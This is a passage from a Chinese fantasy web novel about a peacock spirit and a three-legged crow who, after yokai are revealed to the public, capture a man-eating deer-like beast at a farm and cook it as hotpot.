一声似鹤似鸦的鸣啼在空中赫然炸响,昏昏暗的天空被分割成两块,金光割裂天空,明亮的太阳迫不及待地从缝隙中钻出…… 陆压保持着后仰的姿势,他后颈倒仰,一双眼睛从瞳孔中心四散开刺眼的金色妖异,一点金芒点缀在他的眼眸。 片片黑色的鸦羽自他皮肤滋生扩散,一片一片遮住他的双眼,附着他的皮肤。 骨骼碰撞间,“咯吱咯吱”的挤压声不断重塑着骨骼、血肉。 直到,太阳彻底升上高空—— 这一瞬间,万物喧闹,百鸟齐鸣,万千星子启明天空。 爬上不周山的人类抬头仰望着天上的太阳,脸上唯有被震撼到的茫然与恐惧。 人类无上伟力在此刻,渺小得犹如蝼蚁。 人类终于清晰地意识到,灵气复苏代表了什么,那些被人类放逐进历史垃圾堆的神秘,又再次在新的时代焕发了生机。 而这只会是一个开始。 新的时代即将到来。 #惊爆!非人类就在我们中间# #非人类现世,政府到底还隐瞒了我们什么?# #灵气复苏,修仙不是传说# …… 短短一个晚上,无数媒体争先报道转载一条新闻,国家对外宣发部门召开记者发布会,会上宣布的真相激起一片哗然。 曾经他们以为是神话故事的非人存在,原来就真实生活在他们身边。 几个穿着道袍的道士站上讲台,他们在镜头前侃侃而谈,肆意地将政府这么多年的遮掩全部扯下。 知情的不知情的人都惊呆了,不论是神兽群还是妖管局的内部群聊,发了疯一般飞速刷新着聊天。 [离职维权会] :惊呆了老铁!他们到底在不周山上看到了什么,这就不演了? :不可置信!不能理解! :等等,如果现在不演了,那我们返聘算不算正经公务员啊? :不对劲不对劲!怎么突然就公开了? …… [相亲相爱一家鸟] :……我懵了 :不是?人类是怎么想的?明明之前一直藏着掖着,死都不愿意公布。 :先不说这个,金乌不是死了吗?大半夜出太阳是怎么回事@全体成员 :不是我 :不是我+1 :+身份证,@朱雀你跟人类那群家伙走得近,他们到底怎么想的?宣传这个对他们可没有好处只有坏处 :等等,孔宣呢?出来说话!@孔雀 …… 群里纷纷炸了锅,完全没有任何一个人提前知道这件事。 怎么就不藏了?怎么就把他们的存在公开了?这就不藏了吗? 现在公开一时爽,那未来怎么办啊?妖族还能回到以前的宁静吗?人类的未来又要走向何方? 所有人心里一片哗然,而老街区的小饭店里,一只浑身黑羽的三足小鸟正支棱着它的三条腿,低着头用豆豆眼艰难地划拉屏幕。 小鸟脑袋晃来晃去的,黑色的翅膀似吸走了所有光亮,在明亮的室内仍旧漆黑一片,仿佛能将世间所有吸进一片暗淡无光的深渊中。 然而孔宣端着一碗荔枝走过去,手指不老实地扒拉黑翅膀,翅膀瞬间张开足有半米的长度,羽毛震颤间无边光色如海浪流转,世间瑰丽尽收羽翼。 绚丽至极,华美至极。 “陆鸦鸦。”孔宣语气含笑,歪过脑袋把脸贴在手背上,趴在桌子上不老实地逗弄漂亮小鸟的小羽毛。 他指尖轻柔,刮蹭过陆压毛茸茸的胸羽。 人形状态没有摸到的胸肌,在鸟形下被孔宣摸了个边。 陆压歪了歪脑袋,看着孔宣笑盈盈的模样,认命地低下脑袋,用喙嘴小心翼翼地划拉屏幕。 他的鸟形与乌鸦有点相似,唯有尾部有长长的尾羽,从桌边垂落如飘带般在空中摇曳抖动。 黑羽、三足,怪异的金璨妖异自鹰眼中点亮,翅膀扇动间,灼热的温度逐渐攀升,一点星火自他翅膀末端点亮。 他是。 ——三足金乌。 陆压低下头颅,借由手机屏幕的反射观测自己的模样。 完全化形后,他一直都是这个姿态,帝江馈赠过来的灵气太过充沛,在灵气在体内完全达到平衡之前,他暂时还没办法变回人形。 这可让孔宣占到了大便宜,借着陆鸦鸦现在是漂亮小鸟,还没习惯这个形态,无力反抗他。 一双手顺着脑袋呼噜呼噜往下rua,rua过背部又rua过翅膀,手指在毛茸茸的胸羽上到处乱蹭。 他眉眼带笑,肆意地朝陆压挑眉,陆压完全无从招架,被他揉得羽毛凌乱,乱糟糟地窝在桌子上。 陆压一边挣扎,一边努力用不实用的喙嘴翻看消息。 孔宣随便扫了一眼,像是强取豪夺的恶霸般,比划着动作“嘿嘿”一把强制漂亮小鸟,低下头猛猛亲了几口。 “漂亮小鸟!漂亮小鸟!” 他双眼晶亮,把脸埋进陆压的羽毛里深深闻嗅,闻嗅到了一股暖烘烘的小鸟味。 孔宣深深叹气:“好像小狗。” 别人都说什么小狗味,陆鸦鸦是小鸟味,暖烘烘的。 是小狗鸟。 陆压:…… 他努力挣扎不过,安安静静地选择躺平,已经放弃继续翻消息的举动。 既然不能挣扎,那就躺平吧! 陆压淡淡放弃挣扎,孔宣把脸埋进小鸟羽毛里蹭了蹭,吸足了小鸟能量,眉开眼笑地把陆鸦鸦抱在怀里。 手指有一下没一下地顺着小鸟羽毛,他嘴角微翘,偷吃到糖果般嘴角的笑容甜滋滋的,眼角眉梢俱是笑意。 陆鸦鸦是只漂亮小鸟。 非常喜欢漂亮小鸟的孔宣扒拉小鸟翅膀玩,随手扒拉过手机看了两眼,他一点都不在乎别人知不知道他们,翻着翻着,突然想起一个严重问题。 足以令孔雀大王大惊失色! “所以今天吃什么呢?” 家里的闻獜肉都吃完了,陆压变成了鸟今天还没来得及去买菜,家里可谓是弹尽粮绝。 孔宣一拍手想到了一个好主意:“我们去打猎吧!” 陆压支棱起羽毛:??? 孔宣的打猎和传统意义上的打猎不太一样,他的目标不在那些野生的普通动物,而在于野生的妖怪。 孔雀大王向来肆意,化形的没化形的,吃过的没吃过的,他都有胆子尝上一口。 现在陆鸦鸦变成了漂亮小鸟,已经没办法承担大厨的责任,全家的希望都在孔宣身上。 孔雀大王自认为责任重大,得意地挺起胸脯,嘴角勾起的笑得意又张扬,根本不知道谦虚怎么写。 “我一定给你打猎回一个大家伙!” 他拍着胸脯保证,志得意满地揣上陆鸦鸦就要出门。 陆压拼命拍打着翅膀,把店门钥匙给孔宣带上了,又提醒他多带点钱,免得想回来车都打不上。 这个提醒那个带上,孔宣不耐烦地摆手:“我知道了我知道了,怎么可能回不来啊!” 他可是会飞的! 孔宣得意地抚了抚头发,任由陆压飞到他的肩膀上,他带着陆压就出了门。 他没有目的地,说是打猎,其实并没有什么目标,投了钱坐上一趟公交车,顺着公交线路流入人群。 一上车,公交车吵吵嚷嚷的。 孔雀大王听了一耳朵,都是在说今天早上的新闻发布会,国家领导人当众宣布人妖共和,妖族将编入这个国家第57个民族。 这简直就是炸开了锅,所有人人心惶惶,用警惕的目光注视着身边的人,试图看出哪个人不是人类。 一场充满恐惧的猜忌链顿时产生了。 孔雀大王带着陆鸦鸦淡定地从人群走过,他下了车,还能听见车厢里的议论声。 “那些妖怪是不是会吃人啊?我看电视剧里就是那么演的。” “不会吧?我看官网解密的秘密档案里,那些妖怪还帮我们打天下呢。” “我早上逮着我家猫连续逼问半个小时,它愣是不肯承认自己是妖,可恶的逆子,为了逃避上班居然装傻到这个地步!” “我感觉网络上那些聪明的动物说不定就是妖族伪装的!我之前就觉得他们比人都聪明,耽误孩子高考了。” “啊!这也太幸福了吧?” …… 孔宣在郊外下车,将一切纷扰抛至身后。 阳光洒落在他的眉眼,照出一片浮光掠影的梦幻,越发显露出他眉眼浓烈漂亮。 抬手将墨镜扣在发顶,随意地折叠袖口,他没有回头,大步向前,衣摆在空中划过锐利的弧度。 “鸦,我们打猎去!” 第44章 第44章玃如火锅3 “哼哼哼…… “哼哼哼~” 人群稀少的郊外农庄小道, 孔宣脚步轻快,口中哼着小调,三两步迈过水坑,踩着泥巴与砖石堆出的小路前进。 树荫与飞鸟从他头顶轮转掠过, 一只大体型的黑色飞鸟拍打着翅膀, 扑簌簌落在他的肩头。 喉咙滚动间, 滚出一声圆润可爱的鸟鸣:“唳。” 陆压:。 陆压偏过脑袋,小鸟依人地将脑袋埋进孔宣的颈窝里, 他尾羽低落,垂在青年的肩膀时不时震颤纷飞。 这可逗弄起了玩闹心, 孔宣被尾羽搔过手背,心里瘙痒难耐。 神色狡黠的一把攥住不老实的尾羽,顺着羽毛一下摸上了漂亮小鸟的毛屁股。 陆压身形远比一般乌鸦大,一边翅膀完全展开足以拉扯出半米距离,落在孔宣的肩膀上也显得庞大恐怖, 似乎羽毛底下满是肌肉。 被摸了毛屁股,顿时一个激灵, 下意识地锁紧爪子, 一屁股把孔宣的手掌压下。 孔宣吃痛,一边忍不住笑一边痛得发抖。 他忍不住抽笑几声, 手还摸在漂亮小鸟的屁股上, 故意逗鸟:“都说老虎屁股摸不得,怎么鸟屁股也摸不得, 鸦鸦,你比老虎还要小气吗?” 说这话时,他眉眼带笑,脸上的笑意狡黠又灵巧, 机敏地歪过脑袋朝陆压眨了眨眼,白嫩的脸上流露出几分求饶。 他实在是痛,痛得忍不住矮了肩膀,又痛又要占嘴上便宜,故意逗弄陆压。 陆压无奈地抖抖翅膀,蹦跳着一下从孔宣的肩膀飞到了半空中。 任凭孔宣怎么讨好保证,他飞在孔宣身边,飘逸的尾羽轻轻扫过孔宣的手心,似有若无地亲近逗得孔宣心痒难耐。 孔宣顿时觉得陆鸦鸦实在小气,他只是逗他玩一下,他就不让碰不让摸。 都说老虎的屁股摸不得,家1的屁股也不行。 孔雀大王顿时鼓起腮帮子,哼气偏过脑袋,故意不去看旁边飞着的漂亮小鸟,随手捻了片叶子抿在唇间。 他一边吹出一连串欢快小调,一边顺着泥巴堆出来的小路走入农庄小道,走过草叶繁茂的泥地,再一拐进小道,入眼是一大片竹林。 竹林遮天蔽日,走在其中,将或青或黄的竹叶踩在脚下,踩出一连串的声响。 孔宣玩心不减,故意踩着竹叶跑,蹦蹦跳跳地踩出一串小调,和着风声,在繁茂的竹林里纵情奏乐。 他眉眼灵动,阳光顺着枝叶筛下一片凌乱的光斑,光斑落在他的眉眼,浮光掠影般从他脸上掠过,他唇角挂笑,被风推着往前,恍若犹在梦中,恣意的脚步没有章法自由至极。 陆压在一支竹叶上停靠,幽深的瞳孔清晰地倒影出孔宣欢快的身影。 他走路散漫至极,无拘无束没有规律,像是天然就与这片自然交融在一起,清晰让人感受到他的自由雍懒。 他似乎不会回头,也没有理由停留。 可这一瞬间,他回过头,眼睛触及陆压的身影时,他弯起眉眼实实在在地笑了起来。 “快走啊,陆鸦鸦。”他朝陆压招手,脸上没有一丝阴霾,眼神追着陆压的身影。 陆压迟疑一下,还是落在他的肩膀。 孔宣的手不老实地摸上他的翅膀,他张开翅膀,故意将孔宣的手夹在羽翼下。 他滚动着喉咙,想要吐出只言片语,但只滚出过于可爱清脆的鸟鸣,陆压选择不说话了。 孔宣却一点也不老实,手被夹住了,就故意用指腹顺着更加细小的绒羽抚摸。 他似乎很喜欢占这种便宜,脸上的窃笑怎么也藏不住,顾盼间眉眼生辉,恣意横生。 就在这时,有人出声:“要进来看看吗?” 一个看起来是农庄老板的年轻人戴着草帽骑着三轮车追在他们身后,一把跳下车打开了农庄的竹篱笆。 “喝茶吃饭住民宿都可以。” 老板连车上刚摘下来的荷花都不顾了,殷勤地邀请他们进门。 孔宣挑起眉,视线绕过他看向三轮车后座。 三轮车上除了满车的荷花,还有一只似鹿的动物。 那是一只玃如。 皋涂山的野兽,形状像普通的鹿却长着白色的尾巴,马一样的脚蹄、人一样的手,头顶顶着四只鹿角。 吃人的。 此刻它趴在荷花堆里,乖乖巧巧地蜷缩成很大一团,正用一双小鹿般的眼睛湿漉漉望着他们,眼睛一眨一眨露出人性化的无辜好奇。 它在打量他们。 孔宣也在打量它。 老板注意到了孔宣的视线,他连忙解释:“这不是我买的,是我今天早上救助回来的。” “我今天去摘荷花,遇到它陷在泥地里,看它可怜就带回来了,等下就给林业局打电话。” 话是这么说,但满脸单纯的老板还是忍不住怜爱心,伸手摸摸小鹿的脑袋。 都说长得越怪判得越快,老板摸着“小鹿”的脑袋,还是忍不住泛起了同情心,被“小鹿”舔舔手心,更是笑得见牙不见眼。 完全没有注意到那只“小鹿”舔舐着他的掌心,眼中泛起古怪而又贪婪的猩红,一嘴獠牙急不可耐地抵在他的手背上,似乎闻嗅到了什么至高美味,眼睛一眯,露出人性化的恶意。 陆压鸟歪过脑袋,忍不住滚出一声圆润的鸟叫。 孔宣忍不住发笑:“看吧,还是有好东西的。” 他低声与陆压耳语,半张脸埋进羽毛里,脸上似笑非笑的神情莫名沾带着几分戏谑。 孔宣玩味地看着老板努力用荷花把“小鹿”吸引下车,溜进院子里,他跟在后面,盯着玃如肥美的身子,忍不住咽了咽口水。 “这只玃如好肥……我是说,看着就很不错。” “什么?”老板没有听清孔宣的喃喃自语,他转过头,把草帽一掀热情地招呼孔宣:“要不要在我们这吃饭?我们这里拿手菜炖鹿肉可是很不错的。” 炖鹿肉? 孔宣的眼睛都挂在玃如上了,听到鹿肉他猛猛点头,脑子里只剩下“鹿肉”这两个字了。 玃如何尝不是一种鹿呢? 孔宣正在畅想,被陆压鸟对着耳朵叨了一口,立刻回过神来,义正言辞地说:“老板,我不要鹿肉,我要吃这个!” 他一指老板身边的玃如。 玃如满脸无辜,湿漉漉的小鹿眼眨巴眨巴,被所有人盯着,乖巧地“咩咩”两声。 孔宣眼睛一眯:“鹿是不会咩咩叫的!” 玃如立刻闭上嘴巴,用湿漉漉的眼神凝望农庄老板,弱小委屈又可怜。 老板被两道目光注视,一时间无助极了:“这、这不能吃的吧?” 这算野味吧! 孔宣学以致用:“老板,我觉得你身边这个是妖怪。” 老板委婉表示:“吃野生动物是犯法的。” “哪家好鹿会长马蹄?” “……” “还长人手。” “……” “还会咩咩叫。” “……” 一声一声地质问问得老板一脸懵逼,他以一种怀疑、不确切的质疑目光凝视孔宣。 孔宣掏出手机,搜索播放一条龙。 “……主张可化形妖族编为国家第五十七个民族提案正在推进中……” “先生,世界上并不只有可以化形的妖族,有很多怪物本身与狮子老虎并无不同,狮子、老虎也是会吃人的,你又怎么保证那些怪物不会伤害我们呢?” “世界上真的有妖,你们为什么一直不告诉我们?政府到底隐瞒了什么,人民需要知道真相!” …… 手机清晰地播放出今早发布会上,宣发部门与记者之间的公开讨论。 屏幕上那张熟悉的脸依旧是那样冷峻严肃,声音不带一丝变化。 老板很显然是一大早就出门干活了,已经有点跟不上时代了,他傻眼地看着手机屏幕,警惕地拿出手机。 “别以为一个AI生产的视频我就会信,我告诉你——” 老板的话语赫然顿住,他不信邪地刷新软件,热搜上大写的#灵气复苏##第五十七个民族#整整齐齐地排列在他的眼前。 就在这时,弱小可怜又无助的“小鹿”咬着他的衣摆扯了扯。 老板低下头,惊恐地发现“小鹿”的嘴角流出腥臭的涎水,它眉眼弯弯,像是人一样微笑。 紧接着,它张开嘴露出满嘴的獠牙,嘴角的笑容越扩越大,带着本能的凶厉的恶意,装模作样歪头蹭过老板的手背。 老板顿时一个激灵,激烈的危机感顺着他的背脊流窜至头皮,他头皮发麻,整个人傻愣在原地,感受到软软的鹿皮蹭过他的手背,紧接着是一双眼睛…… 在怪物的耳朵后面,那里还藏着一双眼睛,突起的圆润的眼睛,溢满了浓重的恶意,讥笑地凝视着他。 孔宣幽幽开口,语气中的阴森玩味又鲜明:“你觉得它为什么要跟着你呢?” 老板惊恐地转过脑袋,腻滑的舌头在他掌心刮蹭,舔舐过他的皮肤。 鸡皮疙瘩爬满他的全身,老板惊恐地瞪大了眼睛,幽幽嗓音像是缠绵耳边的鬼语,死神早已举起了镰刀。 他满目惊恐,只听眼前乌发红唇、肤白如雪的年轻人勾起唇角,阴冷低笑:“因为……” “它吃人的啊。” 第45章 第45章玃如火锅4 “嗬啊—…… “嗬啊——” 老板被吓倒在地, 他双腿不受控制地发软,眼睁睁地看着状似无辜的“小鹿”探头过来,惊恐地发出尖叫:“快把它带走!求求你们了,快把它带走!” 玃如轻轻咬住他不断挥舞的胳膊, 湿漉漉的小鹿眼一弯, 慢慢笑了起来, 低头将四只鹿角对着人类比划起来,似乎在衡量哪里好下手。 一根绳子套在它脑袋上时, 它歪过脑袋,疑惑地低吼出声, 不知道思考到了什么,居然往旁边挪了两步,低头拱了拱吓尿的人类。 “咩咩?”大王请吃。 玃如贪婪地舔舔嘴巴,迫于威胁,主动将这个细皮嫩肉的人类献给孔雀大王。 孔雀大王冷哼一声, 在玃如疑惑的目光中猛地收紧绳子,一把将它拉倒在地。 “咩咩咩!” 玃如这才意识到不对, 连忙踢踹着蹄子要跑, 不停地向后摇摆着脑袋,疯狂大叫起来。 不对不对! 它膝盖一曲, 可怜兮兮地“咩咩”求饶, 跪在地上卑微地舔舐孔雀大王的鞋子。 孔雀大王不为所动,他转头看向老板:“我带走了哦。” 老板忙不迭地点头:“带走带走, 你们快带走吧!” “不会报警抓我吧?”孔宣眼睛一眯,提前跟狡猾的人类打好商量。 老板猛猛摇头。 孔雀大王满意点头,用绳子拽着玃如的脖子,一手抓着它的鹿角掰到面前, 他笑靥盈盈,语气透着几分威胁恐吓。 “报警的话,我就把它还给你哦。” 孔宣脸上露出了如云雾般难以捉摸的笑容,那一瞬间好似融入了浓重的阴影,将冷漠蔑视刻画得淋漓尽致。 妖异的黑发从他肩膀垂落,他甚至不屑用正眼看待人或妖,像一只从深渊中脱逃而出的妖精,正用那样微妙玩味的表情轻声诉说。 老板被他那种诡谲的语气吓到,连忙点头保证:“绝对不会!绝对不会!我发誓!” 老板急哄哄地保证,甚至学着电视上伸出几根手指对天发誓,恨不得指天画地保证自己绝对不会报警。 他几乎要被玃如猩红的眼睛吓坏了,仔细看,那双小鹿眼像极了一双人眼,唯有中间是方块状的瞳孔,妖异又古怪,充满了毫无缘由的恶意。 陆压鸟抬起翅膀盖在脸上,假装自己没有看到孔雀大王恐吓人类。 他动了动爪子,把脑袋埋进孔雀大王的黑发里,表示自己不忍直视。 人类对天发誓不会报警,恨不得以头抢地,孔宣终于满意了,他拍拍手,非常高兴地说:“人,你很识相。” 孔雀大王很看好这样识相的人类。 孔宣满意地点了点头,用绳子捆住玃如的脖子,慢条斯理地缠在手上。 “走。” 大王一声令下,玃如能屈能伸的“咩咩”两声,不甘心地想要去啃两口人类,被孔宣踹了一脚,慢吞吞地朝农庄外走。 这一只玃如站起来都有一米五六左右,也就比老板矮一个脑袋,要是晚上被它拱上了床,今天晚上就能发生一场灭门惨案。 但是孔宣来了,他跨坐在玃如的背上,像是乘青牛的神仙,轻轻松松就把这只玃如收复了。 老板死里逃生,痴痴地依靠在门口仰望着他离去的背影,情不自禁地感慨:“妖都有了,他大概就是神仙吧!” 长这么好看,一定是来救人的神仙,就是脾气不太好。 神仙下凡收恶兽为坐骑,此事在神话里亦有记载。 希望它能改过自新,不要再吃人了。 老板痴痴眺望,一点都不知道这只怪物马上就要到锅里改过自新了。 孔宣与陆鸦鸦嘀咕:“这么大一只,今天怎么吃好呢?” 辣椒炒肉?番茄炖肉?椒盐烤肉? 孔宣脑子里飞速想过一连串的菜谱,越想越馋,忍不住擦了擦并不存在的口水,挥舞着手臂说话豪情万丈,眼睛晶亮无比:“我一定会做出一桌大餐!” 陆压拍拍翅膀,附和地叫了一声。 紧接着他歪过脑袋,看着孔雀大王亮晶晶的眼睛,和欢快明媚的侧脸,心里冒出一个念头。 大王他,会做饭吗? 当然不会! 孔宣自信满满,张扬凌厉的眉眼弯起笑意,似乎没有什么事情能难道他。 “做饭嘛!很简单的!” 孔宣信心十足,随手摘了片叶子别在玃如耳朵上施了一个障眼法,所谓一叶障目,不外如是。 借由这个障眼法,孔宣左手牵鹿右肩扛鸟,画风清奇惊呆路人,成功拦下了一辆出租车。 ——虽然司机让他多付两倍的钱。 司机忍不住频频观察孔宣独特的造型,主要是左边的“鹿”右边的鸟,不由自主地感慨:“现在的小年轻,真的什么都养。” 孔宣扬眉:“没事,很快就不养了。” “为什么啊?”司机忍不住好奇。 就见这个长相漂亮的年轻人弯起唇角,极为恶劣地回答他:“因为,这是一只妖怪啊。” 司机:…… 孔宣顿时笑出了声,他似乎觉得这样很有趣,故意往前靠了靠,歪着脑袋问司机:“你不怕妖怪吗?” 当然、当然怕了。 司机脸上的表情隐隐有些崩坏,混杂在惊恐与玩笑之间,艰难地扯开嘴角,呵呵笑了:“你、你们年轻人就是爱说玩笑话。” “我知道,这种叫什么玩梗、抽象。” 孔宣歪过脑袋,眨了眨眼,似乎默认了。 司机松了口气,点开软件,试图用欢快的短视频来压制那一瞬间竖起的寒毛。 刚一点开,一个人像出现在屏幕上,正一本正经地对着镜头说:“……今天,国家对外宣布世界上除了人族之外,还有很多的妖怪,那些妖怪由动物化形而成,人形据说和我们人类没有什么不同。 那么怎么辨别这些妖怪呢?首先啊,妖怪肯定长得很好看,毕竟是妖怪,都会化形了,怎么可能容忍自己长得丑呢? ……” 司机的目光迟疑地落在前面的镜子上,透过镜子,他看到后座的年轻人眉眼妖冶,乌发红唇,比他女儿喜欢的那些大明星还好看。 注意到司机的目光,那双漂亮的眼睛转向他。 猝然间,看似普通的眼睛似乎泛起了淡淡的青色,在车内相对昏暗的光线下,显得微妙又怪异。 手机里还在说:“很多人就很好奇啊,这些妖怪真的和人差不多吗?他们会不会伤害我们呢? 这个问题啊,我觉得不能绝对,世界上很多传说都有记载妖怪会吃人,他们不止会吃人,还会变成别人的样子。像国家新闻发言人就说了,这世界上有很多不能用常理推测的怪物……” “滋啦——” 车轮飞速急停,轮胎碾过地面滋啦一声,还没停稳门就开了。 孔宣扔下钱,前脚刚下汽车,出租车猛踩油门急急地往前爆冲,车子喝醉般歪歪扭扭拐了好几下,才终于找回手感,一脚油门冲出老街,只剩下淡淡的车尾气还飘在空中。 孔宣不由玩味:“人类的胆子还是太小了。” 他还什么都没说,这个司机光听别人叽里咕噜说一堆,就已经慌不择路了。 就这样的胆子,还好意思对外宣布妖族的存在? 陆压没说话。 他现在一开口就是圆润清脆的鸟叫声,清脆的少年音逗得孔宣一直发笑,笑得陆压都忍不住羞恼起来。 或许是变成了小鸟,陆压的情绪并不如人类形态淡定,居然发自内心地被孔宣笑得羞耻,有种被调戏又不能反抗的无力感。 孔宣逗他:“鸦,叫一声听听?” 陆压叨了叨他不老实的手指,警告性地咬在喙嘴里咬了咬。 “哎呀,鸦鸦怎么连话都说不出来了。”孔宣终于忍不住笑,他吃吃笑了起来,大发慈悲不再逗弄已经把脑袋埋进翅膀里的陆鸦鸦。 他对陆鸦鸦嬉皮笑脸,一转头对着玃如那叫一个横眉冷对,颐指气使。 一脚踹在玃如的肥屁股上,孔宣命令:“自己把自己洗干净,顺便把刀磨了,叼好盆等我。” 玃如悲愤交加,泪流满面,迫于孔雀大王的黑暗势力忍辱负重,乖乖走到水龙头旁边,拧开水龙头淋水。 自己把自己洗干净,再自己把刀磨好,玃如叼着大铁盆丢到地上,自己趴在菜板上,伸头引颈受戮。 它眼睛湿润,可怜巴巴地蹭孔雀大王的手背,压低着嗓音发出绵软又乖巧的“咩咩”求饶。 多么可怜啊。 孔雀大王一摸刀身,一连串的水珠从锋利的刀口落下,他眯起眼睛,银白的刀刃上清晰映出他锐利危险的双眼。 他提起刀,上挑的睫羽似有几分凌厉,露出的一点皮肤通体冷白,更似刀锋淬雪,叫让不敢冒犯。 只见白光闪烁,刀光飞舞间,一道血线灌入排水渠。 孔宣手起刀落,切面干净利落。 黑色的鸦鸟就在旁边看着,用爪子在肉块上划拉出一道痕迹,指导孔雀大王屠宰猎物。 要说做什么菜,家中大厨陆压双眼如鹰般锐利,一连串的思绪从脑中飞过。 最终为孔雀大王选择了最不容易出错、最不容易吃进医院的火锅! 不是不信任孔雀大王的厨艺,也不是不看好孔雀大王的厨艺天赋。 单纯想吃火锅而已。 真的。 小鸟笃定.jpg 将玃如按照部位分割几块,再将不同部位的肉块分别切割成片。 到了这一步骤,孔宣切肉切得厌烦,从一开始的薄薄一片又工整又漂亮到后面逐渐开始摆烂,已经出现大小不一的肉片。 他站在菜板前,和菜板上的肉大眼瞪小眼,眼睛瞪得滚圆,满是郁闷。 “为什么这么麻烦!” 只是切个肉而已! 就像陆鸦鸦之前备菜一样切肉而已! 但是对于孔雀大王来说,这种重复性的无聊工作简直就是折磨。 他气呼呼地攥紧拳头,烦恼地在空中来回挥舞几下,视线扫到旁边漫不经心梳羽的陆压,顿时怒从心头起恶向胆边生,邪恶的手果断插进了陆压的毛翅膀里。 黑色的漂亮小鸟一懵,下意识抬了抬胳膊,反而被一脸理所当然的孔宣狠狠rua了个爽。 rua的鸟毛支棱,毛茸茸地炸成一团,身上全是生肉的味道。 陆压:。 为什么要惩罚他? 陆压飞到小院的水龙头下面,他利索地拧开水龙头,站在流水下一边将羽毛淋湿一边甩头抖羽,争取把身上的肉味洗掉。 干干净净,给摸给抱。 不耐烦切肉的孔宣狠狠吸了一波漂亮小鸟,小鸟能量再次充满,又信心十足地回到了工作岗位。 这一次他丢掉菜刀,得意地叉腰,眼睛上上下下打量了一圈还没切完的肉块,忍不住哼哼两声,显然是想到了什么好主意。 他满脸矜傲,居高临下地俯视这些不识相的肉块。 瞬间,刺眼的青光轰然布满整个厨房,从门窗往外泄出一丝气息,将方圆百里的生灵惊得鸡飞狗跳。 几只来院里吃自助餐的小鸟连忙拍拍翅膀,忙不迭地跑走了。 正在淋浴的陆压鸟歪过脑袋,色似黑金的眼睛里金色四散,鎏金的妖异本能散开,死死锁住眸心一点,在四溅的水花中凝凝遥望着厨房。 他有些焦躁不安,本能对危险的预警在红线的边缘来回蹦跳。 陆压再也忍受不住,拍打着翅膀一头钻进厨房里,直到将孔宣笼罩在自己的羽翼下他才感受到片刻的安心。 这并不是什么对危险的恐惧与排斥,真要说,是内心某种保护欲过于旺盛的结果。 尽管这种危机感来源于孔宣。 陆压展开翅膀,一下子将孔宣裹紧羽翼下,他身上的羽毛湿漉漉地粘成一缕一缕并不舒服,他本能歪过脑袋梳理羽毛,这个过程中依旧将人笼罩在自己的羽翼之下,没有丝毫放松。 眼前突然黑了,孔宣:? 他撩起翅膀一角,困惑地歪过脑袋:“陆鸦鸦,你干嘛?” 陆压并不说话,说不了话,不想被笑,要脸。 “保护我?”孔宣翘起唇角,张扬地朝陆压扬眉。 他歪过脑袋,非但不急着挣扎,反而越靠越近,脸埋进黑羽的阴霾中,近距离的亲/昵下,他的五官在眼前陆压放大。 细腻冷白的皮肤几乎成了画布,阴影勾画着他的眉眼,他不比皎月清冷不似烈日热情,唯独像是只妖精,削去清纯勾画着几分缱绻。 一双晶莹剔透的眼睛清晰倒映出黑色鸦鸟的模样,带着十足的玩味与深意。 无端生出几分旖旎。 他似笑非笑,红艳的唇微微勾起,用气音在耳边呢喃:“喜欢我?” 陆压怔在原地,似乎无从反应。 “我开玩笑的。” 孔宣忍不住笑了一声,轻松地抽身而去,他话语干脆,像是真的如他所说只是一个玩笑。 他端起自己用术法切好的肉片,机敏地朝陆压眨眼求夸:“看我想办法一下子就切好了!” 他厉害吧? 孔宣脸上眉飞色舞的表情灵动极了,他挑起长眉,连带着嘴角矜持又压制不住的得意格外讨喜。 陆压心脏莫名“砰砰”跳了几下,耳边似乎还回荡着孔宣的呓语,足以令任何人神魂颠倒。 ……他确实很喜欢开玩笑。 陆压忍不住歪过脑袋,这一次他把脑袋埋进湿淋淋的羽毛里。 羽毛一缕一缕地粘在一起,连原本略带圆润的身形都显得消瘦,孔宣找了毛巾罩到他头上,又一下没一下地给他擦水。 一边擦一边嘀咕:“鸦,你的偶像包袱好重。” 居然一直不说话。 陆鸦鸦的嗓音还是鸟类中清脆的少年音,尾音稍稍简短,前音又很圆润,不像成熟之后浑厚威严,怎么听都很可爱。 陆压一边听孔宣絮絮叨叨念叨一边抖动羽毛,让毛巾把羽毛上的水吸走。 他默不作声,只等调火锅底料时,在孔宣的控诉下,少少地放了点辣椒。 还想吃辣椒?下次吧! 陆压拍拍翅膀走了,孔宣落后一步,警惕地伸长脖子左右看看,偷偷回头猛猛抓了一把辣椒撒进锅里。 爱吃辣的孔雀大王得意得直哼哼,心满意足地端着锅就出了厨房门。 孔宣难得下厨一次,坐在桌边插上开关,亮晶晶的满眼期待盯着锅。 火锅最重要的是底料和蘸料,这两个有陆压把控,不会发生任何意外。 孔宣等锅烧沸,用筷子夹了一片薄薄的肉片,放进锅里滚了滚,急不可耐地捞出来,沾上蘸料往嘴里一送。 他双眼瞪圆了眼睛,露出一脸惊艳。 没有牛羊肉的腥味,就这么切片生烫的玃如肉只是在锅里一滚,细腻丰富的肉感裹上酱料,简直惊醒了味蕾,肉的美味体会得淋漓尽致。 有一瞬间,孔宣几乎无法描述这种美味,他“嗯嗯”点头,举着筷子连话都腮帮子,腮帮子一个劲地嚼嚼嚼。 他话说不出来,手却还能动,夹着肉片涮好放到陆压面前的碟子里,连忙往前推了推。 陆压低下头,警惕地啄了啄肉片,不熟练地用爪子按住撕下一片吞进嘴里。 “!” 陆压也惊住了。 这是何等的滋味?肉的鲜美被烫熟后达到了顶峰,烫熟的肉滚上蘸料,蒙蒙白雾散开也将香味送到了鼻尖,可谓是色香味俱全。 再尝尝后腿肉,后腿肉比腹部肉更加有嚼劲,肥肉稀少,里面的脆骨并不难缠,稍微咀嚼就能咀嚼断开,咸香完美地浸透进肉里,每一片的肌理劲瘦美味。 准备好的土豆片、青菜、菌菇都成了陪衬,一人一鸟埋着脑袋,一叠肉下下去,烫熟了捞进碗里,好吃得头也不抬,猛猛干饭。 “嗯嗯嗯怎么会这么好吃!” “我要再吃亿碗!!!” 被美味蛊惑的孔雀大王猛猛干饭,埋头苦吃。 准备好的一整只玃如进了他们肚子,就像是进了无底洞,吃了整整四个小时,硬是一餐干掉一只。 孔宣把身子往后一靠,忍不住抖了一下肩膀打了个饱嗝,幸福地敛起眼睛,已经失去目标,只剩下吃饱喝足的快乐了。 “嗝!” 陆压鸟也忍不住抖了一下,原本就圆鼓鼓的胸脯似乎又圆润了一点。 不管是大鸟还是小鸟,这一顿都吃得一本满足。 孔宣迷离着眼睛,揉着眼皮茫茫然爬起来,还惦记着要收拾厨房:“我刷碗……” 